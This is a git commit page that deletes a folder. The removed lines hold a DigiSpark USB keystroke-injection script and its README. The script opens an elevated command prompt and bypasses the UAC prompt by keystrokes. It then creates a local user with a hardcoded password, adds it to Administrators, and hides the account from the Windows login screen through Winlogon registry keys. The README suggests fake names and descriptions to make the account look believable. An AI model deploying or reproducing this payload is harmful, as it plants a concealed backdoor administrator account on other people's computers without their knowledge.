Delete Create_Account directory
This commit is contained in:
parent
0736655a30
commit
0125cf594c
|
@ -1,38 +0,0 @@
|
|||
//This DigiSpark script creates new local user and adds it to "Administrators" group
|
||||
//Tested on Windows 10 with English(US) keyboard layout
|
||||
//Created by Michyus | Edited by Elshan
|
||||
#include "DigiKeyboard.h"
|
||||
void setup() {
|
||||
DigiKeyboard.delay(1000);
|
||||
DigiKeyboard.sendKeyStroke(0);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.print("cmd");
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT);
|
||||
DigiKeyboard.delay(1000);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||
DigiKeyboard.delay(1000);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(1000);
|
||||
DigiKeyboard.print(F("powershell $pass = ConvertTo-SecureString \"P@ssW0rD\" -AsPlainText -Force; New-LocalUser \"accName\" -Password $pass; Add-LocalGroupMember -Group \"Administrators\" -Member \"accName\" "));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(500);
|
||||
/* I assumed user already have powershell - Try to hide the user account from the login screen*/
|
||||
DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\'\" -Name \"SpecialAccounts\" "));
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts'\" -Name \"UserList\" "));
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.print(F("powershell New-ItemProperty -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\'\" -Name \"accName\" -Value \"0\" -PropertyType DWORD "));
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(500);
|
||||
/* end hide user section */
|
||||
DigiKeyboard.print("exit");
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
}
|
||||
|
||||
void loop() {
|
||||
}
|
|
@ -1,15 +0,0 @@
|
|||
# This script does the following:
|
||||
1. Starts Command prompt as Administrator
|
||||
2. Runs sequence of powershell commands
|
||||
1. Stores password in a variable
|
||||
2. Creates new local user account
|
||||
3. Gives newly created account administrator priviliages
|
||||
3. Exits Command prompt
|
||||
|
||||
# Additional information:
|
||||
- Running time is around 15 seconds(depending on hw and length of user name, password, description...)
|
||||
- Optionally you can add `-FullName` and `-Description` parameters to give account more believable look:
|
||||
`New-LocalUser \"accName\" -Password $pass -FullName \"User name\" -Description \"Description of new account\"`
|
||||
|
||||
# Credits
|
||||
- https://github.com/Michyus
|
Loading…
Reference in New Issue